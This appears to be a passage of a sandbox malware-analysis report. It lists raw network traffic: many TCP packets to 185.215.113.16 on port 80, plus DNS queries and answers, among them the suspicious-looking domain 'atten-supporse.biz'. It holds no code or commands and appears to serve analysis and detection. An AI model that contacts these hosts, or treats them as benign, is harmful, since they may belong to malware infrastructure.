Dec 10, 2024 02:51:19.348869085 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.348893881 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.350337982 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.350821018 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.350867987 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.350938082 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.350970030 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.352775097 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.352888107 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.352938890 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.354808092 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.354923964 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.354993105 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.356816053 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.356919050 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.356973886 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.358892918 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.358938932 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.359002113 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.360822916 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.360886097 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.360929966 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.362191916 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.362864017 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.362914085 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.362966061 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.363002062 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.364866972 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.364969969 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.365010023 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.366857052 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.366964102 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.367024899 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.368882895 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.368944883 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.368972063 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.370121002 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.370866060 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.370915890 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.370978117 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.371012926 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.372924089 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.373034000 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.373079062 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.374885082 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.375003099 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.375042915 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.376905918 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.376961946 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.377007961 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.378151894 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.378926992 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.378983974 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.379023075 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.379061937 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.380935907 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.380994081 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.440320969 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.440406084 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.440541029 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.441188097 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.441585064 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.441644907 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.441679001 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.441725016 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.443661928 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.443792105 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.443857908 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.445609093 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.445724010 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.445782900 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.447607994 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.447763920 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.447828054 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.449628115 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.449698925 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.449732065 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.450290918 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.451711893 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.451770067 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.481443882 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.481507063 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.481553078 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.481626987 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.482445955 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.482501984 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.482618093 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.482640982 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.482695103 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.484183073 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.484241009 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.484280109 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.484318972 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.485821009 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.485896111 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.485934019 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.486001968 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.487428904 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.487478018 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.487519026 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.487556934 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.489012003 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.489084005 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.489115953 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.489151955 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.490607023 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.490653038 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.490689993 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.490833998 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.492254972 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.492326021 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.492512941 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.492558002 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.493741035 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.493786097 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.493885040 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.494019032 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.495260954 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.495322943 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.495349884 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.495389938 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.496771097 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.496829033 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.496865988 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.497082949 CET	49881	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 02:50:08.514564037 CET	192.168.2.5	1.1.1.1	0x9492	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:08.514699936 CET	192.168.2.5	1.1.1.1	0x6ab0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 02:50:15.261964083 CET	192.168.2.5	1.1.1.1	0xaaac	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 10, 2024 02:50:15.261964083 CET	192.168.2.5	1.1.1.1	0xe07f	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:24.419369936 CET	192.168.2.5	1.1.1.1	0x3ec	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.160036087 CET	192.168.2.5	1.1.1.1	0x2896	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.576313019 CET	192.168.2.5	1.1.1.1	0x71ce	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 02:51:49.707334042 CET	192.168.2.5	1.1.1.1	0x5dbd	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.826445103 CET	192.168.2.5	1.1.1.1	0xcb2f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.849447012 CET	192.168.2.5	1.1.1.1	0x96ed	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.968961954 CET	192.168.2.5	1.1.1.1	0x369c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:50.032224894 CET	192.168.2.5	1.1.1.1	0xf7b5	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 10, 2024 02:51:50.114828110 CET	192.168.2.5	1.1.1.1	0x6e9b	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 02:51:52.394128084 CET	192.168.2.5	1.1.1.1	0xc844	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:52.394295931 CET	192.168.2.5	1.1.1.1	0xf22f	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:52.979243994 CET	192.168.2.5	1.1.1.1	0x229c	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:52.981811047 CET	192.168.2.5	1.1.1.1	0x9648	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.006620884 CET	192.168.2.5	1.1.1.1	0x9520	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.125035048 CET	192.168.2.5	1.1.1.1	0x6f53	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.165358067 CET	192.168.2.5	1.1.1.1	0x6f4f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.165927887 CET	192.168.2.5	1.1.1.1	0x4ef8	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.264902115 CET	192.168.2.5	1.1.1.1	0x9f2f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 10, 2024 02:51:53.303020954 CET	192.168.2.5	1.1.1.1	0xaca1	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 02:51:53.303384066 CET	192.168.2.5	1.1.1.1	0xc345	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 02:51:53.634846926 CET	192.168.2.5	1.1.1.1	0xf8fc	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.775140047 CET	192.168.2.5	1.1.1.1	0x70da	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.970509052 CET	192.168.2.5	1.1.1.1	0x1cf5	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 02:51:57.121718884 CET	192.168.2.5	1.1.1.1	0x91cc	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:22.165513992 CET	192.168.2.5	1.1.1.1	0xe950	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:22.165658951 CET	192.168.2.5	1.1.1.1	0x5ae7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 02:52:25.987914085 CET	192.168.2.5	1.1.1.1	0x13d4	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:25.988032103 CET	192.168.2.5	1.1.1.1	0x2f9a	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 10, 2024 02:52:41.648761034 CET	192.168.2.5	1.1.1.1	0x8c32	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:41.648844004 CET	192.168.2.5	1.1.1.1	0x1c67	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 10, 2024 02:52:43.878578901 CET	192.168.2.5	1.1.1.1	0x9378	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 02:52:44.043659925 CET	192.168.2.5	1.1.1.1	0x81d5	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.104974031 CET	192.168.2.5	1.1.1.1	0xa73c	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 10, 2024 02:52:44.133287907 CET	192.168.2.5	1.1.1.1	0xda9f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 02:52:44.140571117 CET	192.168.2.5	1.1.1.1	0x3463	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.145405054 CET	192.168.2.5	1.1.1.1	0x1eb6	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.275019884 CET	192.168.2.5	1.1.1.1	0xcc0c	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.278745890 CET	192.168.2.5	1.1.1.1	0x31a1	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.394632101 CET	192.168.2.5	1.1.1.1	0x7f41	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 02:52:44.452250957 CET	192.168.2.5	1.1.1.1	0x571f	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.452910900 CET	192.168.2.5	1.1.1.1	0x755f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.562197924 CET	192.168.2.5	1.1.1.1	0x739a	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.631834030 CET	192.168.2.5	1.1.1.1	0x86fa	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 10, 2024 02:52:44.704914093 CET	192.168.2.5	1.1.1.1	0x34f6	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.720072985 CET	192.168.2.5	1.1.1.1	0x9393	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 10, 2024 02:52:44.867532015 CET	192.168.2.5	1.1.1.1	0x3ed5	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 02:50:08.651218891 CET	1.1.1.1	192.168.2.5	0x6ab0	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 10, 2024 02:50:08.651448011 CET	1.1.1.1	192.168.2.5	0x9492	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:15.398727894 CET	1.1.1.1	192.168.2.5	0xe07f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:15.398727894 CET	1.1.1.1	192.168.2.5	0xe07f	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:15.482353926 CET	1.1.1.1	192.168.2.5	0xaaac	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:24.556607962 CET	1.1.1.1	192.168.2.5	0x3ec	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:24.556607962 CET	1.1.1.1	192.168.2.5	0x3ec	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:24.556607962 CET	1.1.1.1	192.168.2.5	0x3ec	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:24.556607962 CET	1.1.1.1	192.168.2.5	0x3ec	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:24.556607962 CET	1.1.1.1	192.168.2.5	0x3ec	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:24.556607962 CET	1.1.1.1	192.168.2.5	0x3ec	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:24.556607962 CET	1.1.1.1	192.168.2.5	0x3ec	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.115923882 CET	1.1.1.1	192.168.2.5	0x27df	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.461422920 CET	1.1.1.1	192.168.2.5	0x2896	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.844830990 CET	1.1.1.1	192.168.2.5	0x5dbd	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.963128090 CET	1.1.1.1	192.168.2.5	0xcb2f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:49.963128090 CET	1.1.1.1	192.168.2.5	0xcb2f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:49.987119913 CET	1.1.1.1	192.168.2.5	0x96ed	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:50.109078884 CET	1.1.1.1	192.168.2.5	0x369c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:50.168972969 CET	1.1.1.1	192.168.2.5	0xf7b5	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 10, 2024 02:51:50.251677036 CET	1.1.1.1	192.168.2.5	0x6e9b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 10, 2024 02:51:52.532145023 CET	1.1.1.1	192.168.2.5	0xc844	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:52.537175894 CET	1.1.1.1	192.168.2.5	0xf22f	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:52.537175894 CET	1.1.1.1	192.168.2.5	0xf22f	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.116641998 CET	1.1.1.1	192.168.2.5	0x229c	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.119306087 CET	1.1.1.1	192.168.2.5	0x9648	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:53.119306087 CET	1.1.1.1	192.168.2.5	0x9648	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.142808914 CET	1.1.1.1	192.168.2.5	0xf7fe	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:53.142808914 CET	1.1.1.1	192.168.2.5	0xf7fe	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.148056984 CET	1.1.1.1	192.168.2.5	0x9520	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:53.148056984 CET	1.1.1.1	192.168.2.5	0x9520	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.263176918 CET	1.1.1.1	192.168.2.5	0x6f53	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.302324057 CET	1.1.1.1	192.168.2.5	0x6f4f	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.302460909 CET	1.1.1.1	192.168.2.5	0x4ef8	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.771610975 CET	1.1.1.1	192.168.2.5	0xf8fc	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:53.771610975 CET	1.1.1.1	192.168.2.5	0xf8fc	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:53.771610975 CET	1.1.1.1	192.168.2.5	0xf8fc	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:53.912062883 CET	1.1.1.1	192.168.2.5	0x70da	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:51:54.107554913 CET	1.1.1.1	192.168.2.5	0x1cf5	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 10, 2024 02:51:57.258908987 CET	1.1.1.1	192.168.2.5	0x91cc	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:22.302088976 CET	1.1.1.1	192.168.2.5	0x5ae7	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 10, 2024 02:52:22.302294016 CET	1.1.1.1	192.168.2.5	0xe950	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:26.124818087 CET	1.1.1.1	192.168.2.5	0x13d4	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:26.124818087 CET	1.1.1.1	192.168.2.5	0x13d4	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:26.124818087 CET	1.1.1.1	192.168.2.5	0x13d4	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:26.124818087 CET	1.1.1.1	192.168.2.5	0x13d4	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:26.306404114 CET	1.1.1.1	192.168.2.5	0x30df	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:26.390785933 CET	1.1.1.1	192.168.2.5	0x2f9a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:26.390785933 CET	1.1.1.1	192.168.2.5	0x2f9a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:26.435969114 CET	1.1.1.1	192.168.2.5	0x4a32	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:26.435969114 CET	1.1.1.1	192.168.2.5	0x4a32	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:26.435969114 CET	1.1.1.1	192.168.2.5	0x4a32	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:41.503865957 CET	1.1.1.1	192.168.2.5	0xe770	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
